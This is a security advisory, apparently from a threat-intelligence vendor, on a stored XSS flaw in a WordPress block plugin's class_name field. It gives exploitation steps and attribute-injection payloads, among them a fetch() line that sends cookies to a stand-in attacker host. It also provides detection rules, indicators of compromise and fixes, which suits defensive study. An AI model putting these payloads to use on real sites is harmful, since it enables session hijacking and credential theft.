CVE-2025-5940
Executive Summary
CVE-2025-5940 is a Stored Cross-Site Scripting (XSS) vulnerability in the Osom Blocks – Custom Post Type listing block plugin for WordPress. The flaw exists in all versions up to and including 1.2.1, where the class_name parameter is not properly sanitized or escaped before being stored and later rendered in the browser. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript or HTML into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is used to create custom post type listing blocks, making it a common target for content injection attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute for all visitors makes this a significant risk in multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability resides in the class_name parameter of the Osom Blocks plugin. When a user creates or edits a custom post type listing block, the plugin accepts a CSS class name input. Due to insufficient input sanitization and output escaping, an attacker can supply a payload such as:
" onfocus="alert(1)" autofocus="true
This payload is stored in the WordPress database and later rendered in the block’s HTML output without proper escaping. When a victim’s browser loads the page, the injected event handler executes.
The attack flow:
- Attacker logs in with Contributor-level (or higher) privileges.
- Attacker creates or edits a post/page containing the Osom Blocks block.
- Attacker sets the
class_nameparameter to a malicious XSS payload. - The payload is stored in the database.
- Any user visiting the page triggers the script execution.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.2.1):
The plugin likely outputs the class_name directly into an HTML attribute without escaping:
// Vulnerable: direct output without escaping
echo '<div class="' . $class_name . '">';
Patched Code (hypothetical):
A secure version would use WordPress’s esc_attr() function:
// Patched: proper escaping
echo '<div class="' . esc_attr( $class_name ) . '">';
Since no official patch is available, users must manually apply this fix or disable the plugin.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Osom Blocks plugin <= 1.2.1
- Contributor-level account credentials
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Create a new post or page.
- Add the Osom Blocks block.
- In the block settings, locate the
class_namefield. - Inject the following payload:
" onfocus="alert(document.cookie)" autofocus="true
- Publish or save the post.
- When any user visits the post, the JavaScript executes, displaying the victim’s cookies.
Advanced Payload (session hijacking):
" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true
Blue Team
Detection Steps:
- Monitor for posts/pages created by low-privilege users containing suspicious HTML attributes.
- Review database entries in
wp_postmetafor theclass_namefield containing event handlers. - Use the detection rules below to identify exploitation attempts.
Mitigation:
- Disable the Osom Blocks plugin until a patch is released.
- Restrict Contributor-level access to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in the
class_nameparameter.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/osom-blocks/(entire plugin directory) - Database:
wp_postmetaentries wheremeta_keycontainsclass_nameandmeta_valueincludes<script>or event handlers likeonfocus,onload,onerror. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Logs: WordPress audit logs showing posts created by Contributor users with unusual block settings.
Detection Engineering
YARA Rule
rule CVE_2025_5940_Osom_Blocks_XSS {
meta:
description = "Detects stored XSS payloads in Osom Blocks class_name parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-5940"
strings:
$payload1 = /class_name["']?\s*[:=]\s*["'][^"']*?(on\w+)=/ nocase
$payload2 = /class_name["']?\s*[:=]\s*["'][^"']*?<script/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-5940 - Stored XSS in Osom Blocks Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via class_name parameter in Osom Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: "/wp-admin/admin-ajax.php"
http.body|contains: "class_name"
http.body|re: "(on\w+=|<script)"
condition: selection
falsepositives:
- Legitimate use of CSS classes with similar patterns (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-5940 - Osom Blocks Stored XSS Attempt"; flow:to_server; content:"class_name"; http_client_body; pcre:"/(on\w+=|<script)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until an official patch is released.
- Manually patch by adding
esc_attr()around theclass_nameoutput in the plugin’s PHP files. - Review and clean any existing posts/pages created by low-privilege users for malicious payloads.
Long-term Measures:
- Implement a Content Security Policy (CSP) to block inline scripts.
- Use WordPress security plugins (e.g., Wordfence) to detect XSS attempts.
- Enforce the principle of least privilege: limit Contributor roles to trusted users only.
- Monitor for plugin updates and apply patches immediately.
Workaround:
If the plugin cannot be disabled, add the following to .htaccess (Apache) or equivalent Nginx rule to block suspicious class_name values:
RewriteEngine On
RewriteCond %{QUERY_STRING} class_name=.*(on\w+=|<script) [NC]
RewriteRule .* - [F,L]
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.